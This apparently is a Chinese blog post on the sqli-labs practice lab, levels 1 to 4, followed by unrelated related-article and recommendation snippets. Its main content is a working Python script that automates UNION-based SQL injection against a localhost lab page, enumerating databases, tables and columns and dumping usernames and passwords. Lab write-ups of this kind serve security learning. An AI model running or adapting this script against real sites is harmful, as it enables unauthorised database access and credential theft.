sqli1:

脚本

 # -*- coding: utf-8 -*-
"""
Created on Sat Mar 23 09:37:14 2019 @author: kenshin
""" import requests,re
url = 'http://localhost/sqli-labs/Less-1/?id=-1' def Len_OrderBy(url):
pattern_mark = 'Unknown column'
#假设字段长20
for i in range(1,20):
url_new = url + "\' order by "+ str(i) +"--+"
r = requests.get(url_new)
if(re.findall(pattern_mark,r.text)):
print('the lenght of column(order by) is :' + str(i-1) + "\n")
break
return i-1 def get_DB(url,lenght):
#注意:由此模式匹配到的是一个数量为1的列表,后续按','将数量拆分成n个,以便输出
pattern_mark = 'Your Login name:(.+?)<br>'
str = ''
for i in range(1,lenght):
str += 'group_concat(schema_name),'
str += 'group_concat(schema_name)'
payload = '\' union select ' + str +' from information_schema.schemata--+'
url += payload
r = requests.get(url)
r = re.findall(pattern_mark,r.text)
#list转str
str_tmp = "".join(r)
#re.split按','拆分
lst = re.split(',',str_tmp)
print('-'*9 + 'databases' + '-'*8)
for s in lst:
print('.' + s )
print('-'*25) def get_TB(url,lenght,db):
pattern_mark = 'Your Login name:(.+?)<br>'
str = ''
for i in range(1,lenght):
str += 'group_concat(table_name),'
str += 'group_concat(table_name)'
payload = "\' union select "+ str +" from information_schema.tables where table_schema=\'" + db + "\'--+"
url += payload
r = requests.get(url)
r = re.findall(pattern_mark,r.text)
#list转str
str_tmp = "".join(r)
#re.split按','拆分
lst = re.split(',',str_tmp)
print('-'*9 +'Database '+ db +'\'s Tables' + '-'*8)
for s in lst:
print('.' + s )
print('-'*35) def get_Column(url,lenght,tb):
pattern_mark = 'Your Login name:(.+?)<br>'
str = ''
for i in range(1,lenght):
str += 'group_concat(column_name),'
str += 'group_concat(column_name)'
payload = "\' union select " +str+ " from information_schema.columns where table_name=\'" +tb+ "\'--+"
url += payload
r = requests.get(url)
r = re.findall(pattern_mark,r.text)
#list转str
str_tmp = ''.join(r)
#re.split按','拆分
lst = re.split(',',str_tmp)
print('-'*9 +'Table '+ tb +'\'s Columns' + '-'*8)
for s in lst:
print('.' + s )
print('-'*35) def get_data(url,lenght,tb,data):
pattern_mark = 'Your Login name:(.+?)<br>'
pattern_mark_pass = 'Your Password:(.+?)</font>'
#if lenght=5
#data=a,b,c
#after expend
#data=a,b,c,4,5
#str to list
lst = data.split(",")
while len(lst) < lenght:
lst.append(str(len(lst)+1))
#list to str
sn = ''
for i in lst:
sn += i+","
#以上循环结果sn='a,b,c,' c后的‘,’舍去才能构造正确payload
sn=sn.rstrip(",")
#格式化输出结果
print('-'*9 +'Table '+ tb +'\'s All datas' + '-'*8)
#假设最多有100组数据
for i in range(1,100):
payload = "\' union select "+ sn +" from "+ tb +" where id="+ str(i) +"--+"
url_new = url + payload
r = r_pass = requests.get(url_new)
r = re.findall(pattern_mark,r.text)
r_pass = re.findall(pattern_mark_pass,r_pass.text)
print(str(r) +" "*(16-len(str(r)))+"=> "+str(r_pass)+" "*(18-len(str(r_pass)))+"|")
if (len(r)==0 and len(r_pass)==0):
break
print("-"*41) #字段长度
lenght = Len_OrderBy(url)
#所有数据库
get_DB(url,lenght)
#由库爆表
db = input("select databases >> ")
get_TB(url,lenght,db)
#由表爆列
tb = input("select table >> ")
get_Column(url,3,tb)
#由表和列名爆数据
data = input("select columns (no more than " +str(lenght)+ ",and separate by ',') >> ")
get_data(url,lenght,tb,data)

脚本 1

sqli2:

与sqli1比较,少了 ',对id没有经过处理。

sqli3:

对id经过了')处理

 sqli4:

对id经过了")处理

sqli-labs:1-4,基于报错的注入的更多相关文章

  1. sql注入--基于报错的注入

    这是经典的sqli-labs 中的less-5 问题首先通过几个常见的进行测试, 发现只要正确的话就会输出you are in.... 并不能绕过,因此不能出现敏感信息,因此要用一种新思路(参考白帽学 ...

  2. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  3. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

  4. 2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记

    phpmyadmin getshell方法1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';2,如果secure-file-p ...

  5. mysql基于“报错”的注入

    报错是如何转为xss的? mysql语句在页面报错,泄露信息 ===================================================================== ...

  6. Mysql报错型注入总结

    Mysql注入虽然是老生常谈的问题,但是工作中更多的是使用sqlmap等工具进行注入测试的,原理方面还是不是很清楚,所以这段时间主要是自己搭建环境在学手工注入,简单的将自己的学习做一个总结和记录.在常 ...

  7. 基于报错的SQL注入整理

    SQLServer 一.利用错误消息提取信息 输入 'having 1=1 --(having一般要与group by一起来使用,group by是用来进行分组的,having后面是用来进行判断的), ...

  8. web安全之sql注入报错型注入

    前提: echo mysql_error(),输出错误信息. 熟悉的函数: floor()向下取整 concat()返回的字符串参数连接的结果 count()函数返回匹配指定条件的行数 rand()函 ...

  9. 实战记录之SQL server报错手工注入

    前言 最近测试了一个站点,这个站点挺有意思,发现没有关闭错误提示,初步猜测是SQL server数据库,后来验证确实是.在这里记录一下实战过程,并详细讲解一下用到的知识点. SQL server报错注 ...

随机推荐

  1. Numpy random arange zeros

    seed( ) 用于指定随机数生成时所用算法开始的整数值. .如果使用相同的seed( )值,则每次生成的随即数都相同: .如果不设置这个值,则系统根据时间来自己选择这个值,此时每次生成的随机数因时间 ...

  2. Java中this和super的用法和区别

    super(参数):调用父类中的某一个构造函数(应该为构造函数中的第一条语句). this(参数):调用本类中另一种形式的构造函数(应该为构造函数中的第一条语句). this的实例: package ...

  3. Ambient Light

    [Ambient Light] Ambient light is light that is present all around the scene and doesn’t come from an ...

  4. NO_DATA_FOUND ORACL NVL函数,当第一个为空时显示第二个参数值

    ORA-01403: no data foundORA-06512: at "STG.SAP_SO_QM_CUSTOMER_ADDBOM", line 50 NVL函数的格式如下: ...

  5. python学习 day19 configparser模块 os模块 subprocess模块

    上周五回顾 logging 用于记录日志 四种核心角色: 生成器Logger 过滤器Filter 处理器Handler 格式化处理器 Formatter logging.info.debug 使用默认 ...

  6. pycharm的安装(图文)

    pycharm的安装, PyCharm是一种 IDE,可以在里面对python代码调试.语法高亮.Project管理.跳转.智能提示.自动完成.单元测试.版本控制.pycharm提供了一些高级功能,以 ...

  7. STL::set/multiset

    set:  Sets are containers that store unique elements following a specific order.集合里面的元素不能修改,只能访问,插入或 ...

  8. leetcode 中等题(2)

    50. Pow(x, n) (中等) double myPow(double x, int n) { ; unsigned long long p; ) { p = -n; x = / x; } el ...

  9. 154. Find Minimum in Rotated Sorted Array II (Array; Divide-and-Conquer)

    Suppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand. (i.e. ...

  10. Unity3D无限奔跑者Playmaker v1.5

    这款功能丰富的移动准备包内含使您自己的各种各样的3D游戏运行的一切要素.无需编程! 功能 1 - 响应式滑动控制2 - 投掷炮弹3 - 可破坏物体4 - 能力提升道具- 金币磁铁- 护盾- 继续密钥- ...